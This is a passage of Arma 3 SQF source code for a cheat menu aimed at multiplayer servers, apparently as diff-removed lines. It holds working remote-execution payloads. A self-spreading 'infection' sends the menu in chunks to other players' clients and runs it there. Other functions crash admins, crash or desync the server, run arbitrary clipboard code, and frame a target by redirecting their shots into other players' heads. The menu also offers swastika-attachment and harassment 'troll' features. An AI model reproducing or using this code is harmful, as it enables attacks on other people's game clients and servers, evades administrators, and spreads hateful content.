- } forEach _markers;
- } else {
- uiSleep 0.5;
- };;
- };
- {
- deleteMarker _x;
- } forEach _markers;
- };
- _spectatoru = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,["SPTARU",_toggleStatus]] call _set;
- if(_toggleStatus) then {
- hint "Spectate On";
- } else {
- hint "Spectate Off";
- player switchCamera "Internal";
- };
- while{[_GLOBAL_ARRAY,["SPTARU",false]] call _get} do {
- _v = vehicle _target;
- _v switchCamera "EXTERNAL";
- waitUntil{!([_GLOBAL_ARRAY,["SPTARU",false]] call _get) || (vehicle _target) != _v};
- };
- };
- _humanc = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(_toggleStatus) then {
- _a = "{_x attach";
- _a = _a + "To [player,[0,_forEachIndex+1,0]];";
- _a = _a + "} forEach (allPlayers-[player]);";
- _b = compile _a;
- call _b;
- } else {
- _a = "{de";
- _a = _a + "tach _x";
- _a = _a + "} forEach (allPlayers-[player]);";
- _b = compile _a;
- call _b;
- };
- };
- _sdesync = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,_get,_set,{
- [] spawn {
- if(isServer) then {
- while{true} do {
- "Land_Sack_F" createVehicle [random(worldSize),random(worldSize),100];
- uiSleep 0.01;
- };
- };
- };
- }] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- };
- _fatigue = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(_toggleStatus) then {
- hint "No Fatigue On";
- player setFatigue 0;
- player enableFatigue false;
- } else {
- hint "No Fatigue On";
- player enableFatigue true;
- };
- };
- comment "TODO: Fix this, copyFromClipboard does not work in MP";
- _runCodeFromClipboard = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _a = copyFromClipboard;
- _b = compile _a;
- hint ("Running\nCode Portion: " + (_a select [0,count(_a) min 10]));
- call _b;
- };
- _infec = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(isNil "RANDOMVAR") exitWith {hint "You can NOT reinfect other players!";};
- _menu = str(RANDOMVAR);
- _parts = [];
- _i = 1;
- _count = 0;
- systemchat "Compiling parts";
- while{true} do {
- _exit = false;
- if(_i+1000 >= count(_menu)) then {
- _lastpart = _menu select [_i];
- _lastpart = _lastpart select [0,count(_lastpart)-1];
- _parts pushBack _lastpart;
- _count = _count + 1;
- _exit = true;
- } else {
- _parts pushBack (_menu select[_i,1000]);
- _count = _count + 1;
- };
- systemchat ( str(_count) + " : " + str(_i) );
- _i = _i + 1000;
- if(_exit) exitWith {systemchat "LastPart";};
- };
- systemchat ("Passing " + str(_count) + " parts to target");
- {
- _code = _x;
- _packet = ("if(getplayeruid player == " + str(getplayeruid _target) + ") then {systemchat (""Receiving part " + str(_forEachIndex+1) + " of " + str(_count) + """); RANDOMVAR" + str(_forEachIndex) + " = " + str(_code) + ";};");
- [_GLOBAL_ARRAY,_get,_set,_packet,true] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- systemchat ("Sending part " + str(_forEachIndex+1) + " of " + str(_count));
- uiSleep 0.001;
- } forEach _parts;
- systemchat ("Initializing Infection");
- _packet = ("if(getplayeruid player == " + str(getplayeruid _target) + ") then {");
- _packet = _packet + ("if ((isNil ""MYPUIDinfiESP"") && (isNil ""ADMINLEVELACCESS"") && !(serverCommandAvailable ""#logout"")) then {");
- _packet = _packet + ("systemchat ""You have been infected!"";RANDOMVAR = compile (");
- for "_i" from 0 to (_count - 1) do {
- _packet = _packet + "RANDOMVAR" + str(_i);
- if(_i != (_count - 1)) then {
- _packet = _packet + " + ";
- };
- };
- _packet = _packet + ("); [] spawn RANDOMVAR;} else {player setPos [1e14,1e14,1e14];};};");
- [_GLOBAL_ARRAY,_get,_set,_packet] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- };
- _infec_noreinfec = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(isNil "RANDOMVAR") exitWith {hint "You can NOT reinfect other players!";};
- _menu = str(RANDOMVAR);
- _parts = [];
- _i = 1;
- _count = 0;
- systemchat "Compiling parts";
- while{true} do {
- _exit = false;
- if(_i+1000 >= count(_menu)) then {
- _lastpart = _menu select [_i];
- _lastpart = _lastpart select [0,count(_lastpart)-1];
- _parts pushBack _lastpart;
- _count = _count + 1;
- _exit = true;
- } else {
- _parts pushBack (_menu select[_i,1000]);
- _count = _count + 1;
- };
- systemchat ( str(_count) + " : " + str(_i) );
- _i = _i + 1000;
- if(_exit) exitWith {systemchat "LastPart";};
- };
- systemchat ("Passing " + str(_count) + " parts to target");
- {
- _code = _x;
- _packet = ("if(getplayeruid player == " + str(getplayeruid _target) + ") then {systemchat (""Receiving part " + str(_forEachIndex+1) + " of " + str(_count) + """); RANDOMVAR" + str(_forEachIndex) + " = " + str(_code) + ";};");
- [_GLOBAL_ARRAY,_get,_set,_packet,true] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- systemchat ("Sending part " + str(_forEachIndex+1) + " of " + str(_count));
- uiSleep 0.001;
- } forEach _parts;
- systemchat ("Initializing Infection");
- _packet = ("if(getplayeruid player == " + str(getplayeruid _target) + ") then {");
- _packet = _packet + ("if ((isNil ""MYPUIDinfiESP"") && (isNil ""ADMINLEVELACCESS"") && !(serverCommandAvailable ""#logout"")) then {");
- _packet = _packet + ("systemchat ""You have been infected!"";_a = compile (");
- for "_i" from 0 to (_count - 1) do {
- _packet = _packet + "RANDOMVAR" + str(_i);
- if(_i != (_count - 1)) then {
- _packet = _packet + " + ";
- };
- };
- _packet = _packet + "); [] spawn _a;} else {player setPos [1e14,1e14,1e14];};};";
- [_GLOBAL_ARRAY,_get,_set,_packet] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- };
- _infec_noreinfec_allnonadmins = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(isNil "RANDOMVAR") exitWith {hint "You can NOT reinfect other players!";};
- _menu = str(RANDOMVAR);
- _parts = [];
- _i = 1;
- _count = 0;
- systemchat "Compiling parts";
- while{true} do {
- _exit = false;
- if(_i+1000 >= count(_menu)) then {
- _lastpart = _menu select [_i];
- _lastpart = _lastpart select [0,count(_lastpart)-1];
- _parts pushBack _lastpart;
- _count = _count + 1;
- _exit = true;
- } else {
- _parts pushBack (_menu select[_i,1000]);
- _count = _count + 1;
- };
- systemchat ( str(_count) + " : " + str(_i) );
- _i = _i + 1000;
- if(_exit) exitWith {systemchat "LastPart";};
- };
- systemchat ("Passing " + str(_count) + " parts to target");
- {
- _code = _x;
- _packet = ("RANDOMVAR" + str(_forEachIndex) + " = " + str(_code));
- [_GLOBAL_ARRAY,_get,_set,_packet,true] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- systemchat ("Sending part " + str(_forEachIndex+1) + " of " + str(_count));
- uiSleep 0.001;
- } forEach _parts;
- systemchat ("Initializing Infection");
- _packet = ("if(isNil ""RANDOMVAR"") then {if ((isNil ""MYPUIDinfiESP"") && (isNil ""ADMINLEVELACCESS"") && !(serverCommandAvailable ""#logout"")) then {");
- _packet = _packet + ("systemchat ""You have been infected!"";_a = compile (");
- for "_i" from 0 to (_count - 1) do {
- _packet = _packet + "RANDOMVAR" + str(_i);
- if(_i != (_count - 1)) then {
- _packet = _packet + " + ";
- };
- };
- _packet = _packet + "); [] spawn _a;} else {player setPos [1e14,1e14,1e14];};};";
- [_GLOBAL_ARRAY,_get,_set,_packet] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- };
- _haram_be = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _packet = ('
- if (!isServer) then {
- [] spawn {
- disableSerialization;
- while{true} do {
- floor(random(100000)) cutrsc ["rsc" + "DynamicText","plain"];
- _display = uinamespace getvariable "BIS_dynamicText";
- _control = _display displayctrl 9999;
- _control ctrlsetposition [safezonex + random(safezonew),safezoney+random(safezoneh),safeZoneW,safeZoneH/20];
- _control ctrlsetbackgroundcolor [0,0,0,0];
- _control ctrlsettextcolor [1,1,1,1];
- _msgs = ["#Harambe","I love you","Calm Harambe","Gentle", "#PrayForHarambe","Why did you have to go?","R.I.P","You took a shot for us","We will take a shot for you", "Vote Harambe", "Dicks out"];
- _control ctrlSetStructuredText parseText ("<t align=""left"" color=""" + ([random(1),random(1),random(1),1] call BIS_fnc_colorRGBAtoHTML) + """ size=""1.5"">" + (_msgs select floor(random(count(_msgs)))) + "</t>");
- _control ctrlCommit 0;
- uiSleep 0.01;
- };
- };
- };
- ');
- [_GLOBAL_ARRAY,_get,_set,_packet] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- };
- _get_on_road = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _packet = {
- if(!isServer) then {
- [] spawn {
- hint "GET ON A ROAD\n\nOR ELSE YOU WILL DIE!";
- uiSleep 10;
- if(!isOnRoad (vehicle player)) then {
- moveOut player;
- waitUntil{vehicle player == player};
- player setVelocity [0,0,100];
- };
- };
- };
- };
- [_GLOBAL_ARRAY,_get,_set,_packet] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- };
- _frame = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _packet = ('
- if(getplayeruid player == "' + getplayeruid _target + '") then {
- [] spawn {
- while{true} do {
- _var = player addEventHandler ["Fired",{
- params["_unit","_weapon","_muzzle","_mode","_ammo","_magazine","_projectile"];
- if(!isNull _projectile) then {
- _target = (allPlayers-[player]) select floor(random(count((allPlayers-[player]))));
- if(alive _target) then {
- _velocity = velocity _projectile;
- _unitVector = vectorNormalized _velocity;
- _posChange = _unitVector vectorMultiply -.1;
- _newPos = (eyepos _target) vectorAdd _posChange;
- _projectile setposasl _newPos;
- };
- };
- }];
- player removeEventHandler ["Fired",_var];
- uiSleep 0.1;
- };
- };
- [] spawn {
- while{true} do {
- waitUntil{currentWeapon player != "" && (vehicle player == player)};
- player forceWeaponFire [currentWeapon player,"single"];
- uiSleep 0.1;
- };
- };
- };
- ');
- [_GLOBAL_ARRAY,_get,_set,_packet] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- };
- _lock_variable = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
- [_GLOBAL_ARRAY,["LOCK_VAR_" + _variable,_toggleStatus]] call _set;
- if(_toggleStatus) then {
- hint "Variable locked";
- _value = missionNamespace getvariable [_variable,0];
- while{[_GLOBAL_ARRAY,["LOCK_VAR_" + _variable,false]] call _get} do {
- missionNamespace setVariable [_variable,_value];
- uiSleep 0.01;
- };
- hint "Variable unlocked";
- };
- };
- _break_variable = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
- _a = (_variable + " = compileFinal """";");
- _b = compile _a;
- call _b;
- hint "Variable is now broken\n\nIf this didnt work: that variable is finalized and can not be modified";
- };
- _nil_variable = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
- _a = (_variable + " = nil;");
- _b = compile _a;
- call _b;
- hint "Variable is now NIL\n\nIf this didnt work: that variable is finalized and can not be modified";
- };
- _export_value_log = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
- _a = compile("diag_log str(" + _variable + ");");
- call _a;
- hint "Exported";
- };
- _export_value_profile = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
- _a = compile ("
- profilenamespace setVariable [""Export_"" + _variable," + _variable + "];
- saveProfileNamespace;
- ");
- call _a;
- hint "Exported";
- };
- _set_number_to_0 = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
- _a = compile ("
- _value = " + _variable + ";
- if(typename(_value) != typename(0)) exitWith {hint ""That variable is not a number!"";};
- " + _variable + " = 0;
- ");
- call _a;
- hint "Set to 0";
- };
- _inc_number_by_1 = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
- _a = compile ("
- _value = " + _variable + ";
- if(typename(_value) != typename(0)) exitWith {hint ""That variable is not a number!"";};
- " + _variable + " = _value + 1;
- ");
- call _a;
- hint "Incremented";
- };
- _inc_number_by_10000 = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
- _a = compile ("
- _value = " + _variable + ";
- if(typename(_value) != typename(0)) exitWith {hint ""That variable is not a number!"";};
- " + _variable + " = _value + 10000;
- ");
- call _a;
- hint "Incremented by 10000";
- };
- _toggle_boolean = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
- _a = compile ("
- _value = " + _variable + ";
- if(typename(_value) != typename(true)) exitWith {hint ""That variable is not a number!"";};
- " + _variable + " = !_value;
- ");
- call _a;
- hint "Toggled";
- };
- _terminate_thread = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus","_variable"];
- _a = compile ("
- _value = " + _variable + ";
- if(typename(_value) != ""SCRIPT"") exitWith {hint ""That variable is not a thread!"";};
- terminate " + _variable + ";
- ");
- call _a;
- hint "Terminated";
- };
- _crash_admins = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _packet = ("if(!isServer) then {if ((!isNil ""MYPUIDinfiESP"") || (!isNil ""ADMINLEVELACCESS"") || (serverCommandAvailable ""#logout"")) then {player setPos [1e14,1e14,1e14];};};");
- [_GLOBAL_ARRAY,_get,_set,_packet] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- };
- _mainMenu = [
- ["Map Teleport",_temap,false,"",[1,0.3,1,1], "Map Teleport\nZoom in on map and press ESCAPE to use."],
- ["Cursor Teleport",_tpcur,false,"",[1,0.3,1,1], "Cursor Teleport\nTeleports to where your cursor is pointed"],
- ["Run Code on Clipboard",_runCodeFromClipboard,false,"",[1,0.3,1,1], "Run Code\nTakes your clipboard and runs the code on it"],
- ["Exit Server",{endMission "fail";},false,"",[1,0.3,1,1], "Exit Server\nRuns EndMission"],
- ["== Player Scripts ==",{},false,"",[0.3,1,1,1]],
- ["No Sway",_nosway,true,"NSToggle", "Disables weapon sway"],
- ["Fast Bullets",_fastb,true,"FBToggle", "Increases bullet speed by 100x"],
- ["No Fatigue",_fatigue,true,"NFToggle", "Disables sprint fatigue"],
- ["Bullet Shield",_bsheild,true,"BSToggle", "Deletes bullets near you that are fired from other players"],
- ["Auto Refill Ammo",_infam,true,"IAToggle", "Automatically adds magazines for your current weapon into your inventory"],
- ["Unlimited Ammo",_uammdetectable,true,"UAToggle", "Automatically Refills your current weapons ammo count"],
- ["Player Icon",_easypeasy,true,"PIcons", "Draws icons with player names on screen"],
- ["Player Markers",_mmarks,true,"PMarkers", "BUGGY\nDraws icons with player names on map"],
- ["Autoheal",_godmerd,true,"Legend", "Prevents you from dying"],
- ["Vehicle Autoheal",_vgodmerd,true,"LegendV", "Prevents your vehicle from exploding"],
- ["Vehicle Boost",_vboost,true,"VSpeed", "Press SHIFT to use\nSpeed boost for your vehicle\nBUGGY IN AIR VEHICLES"],
- ["Ghetto Fly",_ghetfly,true,"GFlyTog", "Fly around by looking around"],
- ["Server Cleanup",_cleanup,false,"", "Deletes dead vehicles on map to boost FPS"],
- ["== Wasteland Scripts ==",{},false,"",[0.4,1,1,1]],
- ["Give Cash",_wgcash,false,"", "WASTELAND\nSpawns a cash pile of $50,000"],
- ["Heal",_wheal,false,"", "WASTELAND\nGives you 100% hp thirst and hunger"],
- ["Vehicle Shop",_wvshop,false,"", "WASTELAND\nOpens the vehicle shop\nBUGGY ON MOST SERVERS"],
- ["General Shop",_wgshop,false,"", "WASTELAND\nOpens the general shop\nBUGGY ON MOST SERVERS"],
- ["Gun Shop",_wwshop,false,"", "WASTELAND\nOpens the gun shop\nBUGGY ON MOST SERVERS"],
- ["== Life Scripts ==",{},false,"",[0.4,1,1,1]],
- ["Give Cash (50k)",_lgcash,false,"", "LIFE\nMAY CAUSE ERROR MESSAGE\nGives you 50,000 in cash\nBUGGY"],
- ["Give Cash (1m)",_lgcash2,false,"", "LIFE\nMAY CAUSE ERROR MESSAGE\nGives you 1,000,000 in cash\nBUGGY"],
- ["RE: Give All Cash (Too Much)",_givallcash,false,"", "LIFE\nMAY CAUSE ERROR MESSAGE\nGives everyone 5 trillion in cash\nBUGGY"],
- ["== Troll Scripts ==",{},false,"",[0.4,1,1,1]],
- ["Murder Mode",_mmode,true,"MMToggle", "Teleports your shots into other players heads"],
- ["Big Bullets",_bigbul,true,"BBToggle", "Explosive Bullets"],
- ["Hum" + "an Centipede",_humanc,true,"HCToggle", "Attaches everyone behind your player"],
- ["Teleport all here",_tpall,false,"", "Teleports everyone here"],
- ["Kick out all",_kickoutall,false,"", "Kicks everyone out of their vehicles"],
- ["Nazify All",_nazifyall,false,"", "Attaches a swastika to everyone"],
- ["ODST Drop",_odstdrop,false,"", "Drops everyone from the sky"],
- ["Under The Sea",_utsea,false,"", "Places everyone underwater"],
- ["Weaponize Vehicle",_weaponize,false,"", "Press F to use\nAdds a gatling gun to your current vehicle"],
- ["Explode Cursor",_expcursor,false,"", "LARGE RADIUS\nExplodes under your cursor"],
- ["Blast Wave",_bwave,false,"","LARGE RADIUS\nA line of explosions in the direction you are facing"],
- ["Shock Wave",_swave,false,"","LARGE RADIUS\nAn expanding ring of explosions from your location"],
- ["Nuke",_newk,false,"", "Explosions all around the map\nLASTS 60 SECONDS"],
- ["Nazify Cursor (%1)",_nazify,false,"", "Attaches a nazi symbol to your cursor object"],
- ["Crash All Clients",_call,false,"", "Crashes every player in the server (besides yourself)"],
- ["== Vehicle Launch ==",{},false,"",[0.4,1,1,1]],
- ["Launch Nearest Vehicle",_lnear,false,"", "Launches the nearest vehicle into the sky"],
- ["Launch All Vehicles",_lall,false,"", "Launches every vehicle into the sky"],
- ["Launch Cursor (%1)",_lcursor,false,"", "Launches your cursor object into the sky"],
- ["Launch Forward (%1)",_lforward,false,"", "Launches your cursor object in the direction you are facing"],
- ["== Map Drawing ==",{},false,"",[0.4,1,1,1]],
- ["Draw (Neo-GayPrideFlag)",_drawngpf,false,"", "Zoom in and press ESCAPE to select a location\nDO NOT OPEN THE MAP WHILE IN PROGRESS\nCauses lag while in progress!"],
- ["Draw (Neo-GermanFlag)",_drawngf,false,"", "Zoom in and press ESCAPE to select a location\nDO NOT OPEN THE MAP WHILE IN PROGRESS\nCauses lag while in progress!"],
- ["Draw (Neo-RussianFlag)",_drawnrf,false,"", "Zoom in and press ESCAPE to select a location\nDO NOT OPEN THE MAP WHILE IN PROGRESS\nCauses lag while in progress!"],
- ["Draw (Neo-AmericanFlag)",_drawnaf,false,"", "Zoom in and press ESCAPE to select a location\nDO NOT OPEN THE MAP WHILE IN PROGRESS\nCauses lag while in progress!"],
- ["Draw (GayPrideFlag)",_drawgp,false,"", "Zoom in and press ESCAPE to select a location\nDO NOT OPEN THE MAP WHILE IN PROGRESS\nCauses lag while in progress!"],
- ["Draw (AmericanFlag)",_drawaf,false,"", "Zoom in and press ESCAPE to select a location\nDO NOT OPEN THE MAP WHILE IN PROGRESS\nCauses lag while in progress!"],
- ["Draw (RussianFlag)",_drawrf,false,"", "Zoom in and press ESCAPE to select a location\nDO NOT OPEN THE MAP WHILE IN PROGRESS\nCauses lag while in progress!"],
- ["Draw (GermanFlag)",_drawgf,false,"", "Zoom in and press ESCAPE to select a location\nDO NOT OPEN THE MAP WHILE IN PROGRESS\nCauses lag while in progress!"],
- ["== Remote Ex ==",{},false,"",[0.4,1,1,1]],
- ["Remote Vehicle Spawning",_enableremovevspawn,true,"RVspawnToggle", "Toggles spawning vehicles Locally and Remotely\nRemote vehicles can be used by other players"],
- ["HeliMode Spawning",_enablehelimode,true,"HMSpawnToggle", "Requires Remote Vehicle Spawning to be on\nToggles spawning the heli form of each vehicle"],
- ["Rainbow me",_rainbowme,true,"RainBowMeTogg", "Gives you a rainbow effect on your body"],
- ["Knock everyone out",_ko,true,"KOToggle", "Sets everyone to unconscious"],
- ["Delete Everyones Gear",_deleteallgear,false,"", "Removes everyones gear"],
- ["Rainbow Cursor (%1)",_rainbowcursor,false,"", "Causes the cursor object (vehicle or player) to rainbow indefinately"],
- ["Crash Server",_csrvr,false,"", "Crashes the server"],
- ["Desync Server",_sdesync,false,"", "Crashes the server by causing desync"],
- ["Vote 4 Trump",_voteTrump,false,"", "Spams chat with unmarked ""vote 4 trump"" messages"],
- ["Harambe",_haram_be,false,"", "Spams screen with harambe"],
- ["Get on road",_get_on_road,false,"", "Everyone must get on a road or they will die."],
- ["Hihihi Fucker",_infuck,false,"", "Disables admin menu on servers w/ hihihi"],
- ["Admin Fucker",_crash_admins,false,"", "Crashes all admins"],
- ["Give Menu [All]",_infec_noreinfec_allnonadmins,false,"", "Infects everyone and crashes admins\n\nInfected players can NOT reinfect"],
- ["== Saved Loadouts ==",{},false,"",[0.4,1,1,1]],
- ["SAVE CURRENT LOADOUT",_saveLoadout,false,"",[0.4,.7,0.4,1]],
- ["RESET LOADOUTS",_resetLoadouts,false,"",[0.4,.7,0.4,1]]
- ];
- {
- _mainMenu = _mainMenu + [
- ["Loadout " + str(_forEachIndex+1), compile ("player setUnitLoadout " + str(_x)),false,""]
- ];
- } forEach ([_GLOBAL_ARRAY,["IGUI_GRID_CHAT_X_LOADOUTS",[]]] call _get);
- _mainMenu = _mainMenu + [
- ["",{},false,"",[0.3,1,1,1]],
- ["",{},false,"",[0.3,1,1,1]],
- ["<< Exit",_exit,false,"",[1,1,0.3,1]],
- ["<< Reset >>",_reset,false,"",[1,1,0.3,1]]
- ];
- _variableMenu = [
- ["<< Back",{},false,"",[1,1,0.3,1]],
- ["== All Types ==",{},false,"",[0.4,1,1,1]],
- ["Lock Variable",_lock_variable,true,"LockVarToggle%1", "Prevents the variable from being changed"],
- ["Nil Variable",_nil_variable,false,"", "Removes variable from namespace"],
- ["Break Variable",_break_variable,false,"", "compileFinals the variable to break it"],
- ["Export to Log",_export_value_log,false,"", "Exports the value of this variable to the log file"],
- ["Export to Profile",_export_value_profile,false,"", "Exports the value of this variable to the profile.vars file"],
- ["== Numbers ==",{},false,"",[0.4,1,1,1]],
- ["Set to 0",_set_number_to_0,false,"","Sets the number to 0"],
- ["Increase by 1",_inc_number_by_1,false,"","Increases the number by 1"],
- ["Increase by 10,000",_inc_number_by_10000,false,"","Increases the number by 10,000"],
- ["== Booleans ==",{},false,"",[0.4,1,1,1]],
- ["Toggle Value",_toggle_boolean,false,"","Makes true=false or false=true"],
- ["== Threads ==",{},false,"",[0.4,1,1,1]],
- ["Terminate",_terminate_thread,false,"","Kills thread contained in variable"]
- ];
- _targetMenu = [
- ["<< Back",{},false,"",[1,1,0.3,1]],
- ["== Passive ==",{},false,"",[0.4,1,1,1]],
- ["Spectate %1",_spectatoru,true,"SpecTog%1", "Spectate the target\nTo disable spectate you must rerun this script on the target"],
- ["Teleport To %1",_teto,false,"", "Teleport to the target"],
- ["Teleport %1 Here",_tehe,false,"", "Teleport the target here"],
- ["View %1s Inventory",_viewinv,false,"", "View the targets inventory"],
- ["Get in %1s Vehicle",_getinv,false,"", "Get in the targets vehicle"],
- ["== Aggressive ==",{},false,"",[0.4,1,1,1]],
- ["Kick Out %1",_kickout,false,"", "Kick the target out of their vehicle"],
- ["Kick %1s Crew",_kickoutallinv,false,"", "Kick everyone out of the targets vehicle"],
- ["Explode %1",_exptarget,false,"", "LARGE RADIUS\nExplode the target"],
- ["Launch %1s Vehicle",_ltarget,false,"", "Launch the targets vehicle into the air"],
- ["Nazify %1",_nazifyt,false,"", "Attach a swastika to the target, OR if they are in a vehicle, attach it to the vehicle"],
- ["Steal %1s Vehicle",_stealv,false,"", "Become the driver of the targets vehicle\n\nNote: on wasteland this will not work if the target is in the vehicle with someone else"],
- ["WASTE: Steal %1s Vehicle",_stealv2,false,"", "Become the driver of the targets vehicle\n\nNote: this kicks everyone else out of the vehicle as well"],
- ["Crash %1",_ctarget,false,"", "Crashes the targets client"],
- ["== Remote Ex ==",{},false,"",[0.4,1,1,1]],
- ["Give Menu",_infec,false,"", "Give target the infection"],
- ["Give Menu [No Reinfect]",_infec_noreinfec,false,"", "Give target the infection\n\nThe infected player can NOT reinfect"],
- ["HiHi Ban",_inban,false,"", "Infistar bans the target player\n\nNote: this does not work on admins"],
- ["Kamikazi",_kamikazi,false,"", "Drop 150 airplanes on the target"],
- ["Delete Gear",_deletegear,false,"", "Delete the targets gear"],
- ["Frame %1",_frame,false,"", "Frame Murder Mode"],
- ["Make %1 wave",_wave,false,"", "Yeahhh this is broken"],
- ["Rainbow",_rainbow,true,"Rainbow%1", "Makes the target have a rainbow skin"],
- ["Lock %1",_locktarget,true,"Lock%1", "Disables the targets input"],
- ["Knock Out %1",_kotarget,true,"Ko%1", "Makes the target fall unconscious"],
- ["Black Screen %1",_blackscreen,true,"BlackS%1", "Gives the target a black screen"]
- ];
- comment "UI functions";
- _LoadPlayersToList = {
- disableSerialization;
- params["_pList"];
- private["_data","_list","_color","_index","_vehicle","_pic"];
- _data = [];
- _list = if(isMultiplayer) then {allPlayers} else {allunits};
- {
- _data pushBack [str(side _x),str(vehicle _x == _x),_x];
- } forEach _list;
- _data sort true;
- {
- _unit = _x select 2;
- _name = name _unit;
- _color = [1,0.4,1,1];
- if(side _unit == blufor) then {
- _color = [0.4,0.4,1,1];
- };
- if(side _unit == opfor) then {
- _color = [1,0.4,0.4,1];
- };
- if(side _unit == independent) then {
- _color = [0.4,1,0.4,1];
- };
- if(getplayeruid _unit in ["76561198152111329","76561198276380268"]) then {
- _color = [1,1,0.4,1];
- _name = "INFISTAR";
- };
- _index = _pList lbAdd (name _unit);
- _pList lbSetData[_index,getplayeruid _unit];
- _pList lbSetColor [_index,_color];
- _vehicle = typeof(vehicle _unit);
- _pic = "\A3\Ui_f\data\IGUI\RscIngameUI\RscUnitInfo\SI_stand_ca.paa";
- if(vehicle _unit != _unit) then {
- _pic = getText(configFile >> "CfgVehicles" >> _vehicle >> "Picture");
- };
- _pList lbSetPicture [_index,_pic];
- _pList lbSetTooltip [_index, if(vehicle _unit == _unit) then {format["Name: %1\nSide: %2\nVehicle: On Foot\n\nDouble click to target",name _unit,side _unit]} else {format["Name: %1\nSide: %2\nVehicle: %3\n\nDouble click to target",name _unit,side _unit,getText(configFile >> "CfgVehicles" >> _vehicle >> "DisplayName")]}];
- } forEach _data;
- };
- _LoadWeaponList = {
- disableSerialization;
- params["_wList","_weapons"];
- {
- _displayName = _x select 0;
- _config = _x select 1;
- _pic = _x select 2;
- _index = _wList lbAdd _displayName;
- _wList lbSetData[_index,_config];
- _wList lbSetPicture [_index, _pic];
- _wList lbSetTooltip [_index, format["Double Click to spawn a %1 under your feet",_displayName]];
- } forEach _weapons;
- };
- _LoadVehicleList = {
- disableSerialization;
- params["_vList","_vehicles"];
- {
- _type = _x select 0;
- _displayName = _x select 1;
- _config = _x select 2;
- _pic = _x select 3;
- _index = _vList lbAdd _displayName;
- _vList lbSetData[_index,_config];
- _vList lbSetPicture [_index, _pic];
- _vList lbSetTooltip [_index, format["Double Click to spawn a %1 in front of you",_displayName]];
- } forEach _vehicles;
- };
- _LoadVariableList = {
- disableSerialization;
- params["_uList"];
- _vars = (allVariables missionNamespace);
- _vars sort true;
- {
- if((toLower(_x) find "bis") != 0) then {
- if((toLower(_x) find "cheat") != 0) then {
- if((toLower(_x) find "rscdisplay") != 0) then {
- if((toLower(_x) find ".") == -1) then {
- if(_x != "paramsarray") then {
- if((toLower(_x) find toLower("RANDOMVAR")) != 0) then {
- if(!isNil {missionNamespace getVariable _x}) then {
- _value = missionNamespace getVariable _x;
- _txt = str(_value);
- if(count(_txt) > 200) then {
- _txt = _txt select [0,200];
- };
- _index = _uList lbAdd _x;
- _uList lbSetTooltip [_index, "Type: " + typename(_value) + "\n\nValue: " + _txt];
- } else {
- systemchat (_x + " is nil");
- };
- };
- };
- };
- };
- };
- };
- } forEach _vars;
- };
- comment "UI Triggers";
- _PlayerListDblClick = {
- disableSerialization;
- params["_ctrl","_index"];
- _control = (findDisplay 602) displayCtrl 111;
- _control ctrlSetText ("PLIST|" + str(_index));
- };
- _VariableListDblClick = {
- disableSerialization;
- params["_ctrl","_index"];
- _control = (findDisplay 602) displayCtrl 111;
- _control ctrlSetText ("VALIST|" + str(_index));
- };
- _ScriptListDblClick = {
- disableSerialization;
- params["_ctrl","_index"];
- _control = (findDisplay 602) displayCtrl 111;
- _control ctrlSetText ("CLIST|" + str(_index));
- };
- _VehicleListDblClick = {
- disableSerialization;
- params["_ctrl","_index"];
- _control = (findDisplay 602) displayCtrl 111;
- _control ctrlSetText ("VLIST|" + str(_index));
- };
- _WeaponListDblClick = {
- disableSerialization;
- params["_ctrl","_index"];
- _control = (findDisplay 602) displayCtrl 111;
- _control ctrlSetText ("WLIST|" + str(_index));
- };
- comment "UI Events";
- _OnPlayerDblClick = {
- disableSerialization;
- params["_GLOBAL_ARRAY","_get","_set","_ctrl","_index"];
- _LoadScripts = [_GLOBAL_ARRAY,["LoadScripts",{}]] call _get;
- _uid = _ctrl lbData _index;
- _name = _ctrl lbText _index;
- _target = objNull;
- {
- if(getplayeruid _x == _uid && name _x == _name) exitWith {
- _target = _x;
- };
- } forEach (if(isMultiplayer) then {allPlayers} else {allunits});
- if(isNull _target) exitWith {hint "Could not find target!\nDid they disconnect?";};
- [_GLOBAL_ARRAY,["CurrentMenu","TargetMenu"]] call _set;
- [_GLOBAL_ARRAY,["TargetPlayer",_target]] call _set;
- _cList = (findDisplay 602) displayCtrl 640;
- lbClear _cList;
- [_GLOBAL_ARRAY,_set,_get,_cList] spawn _LoadScripts;
- };
- _OnVariableDblClick = {
- disableSerialization;
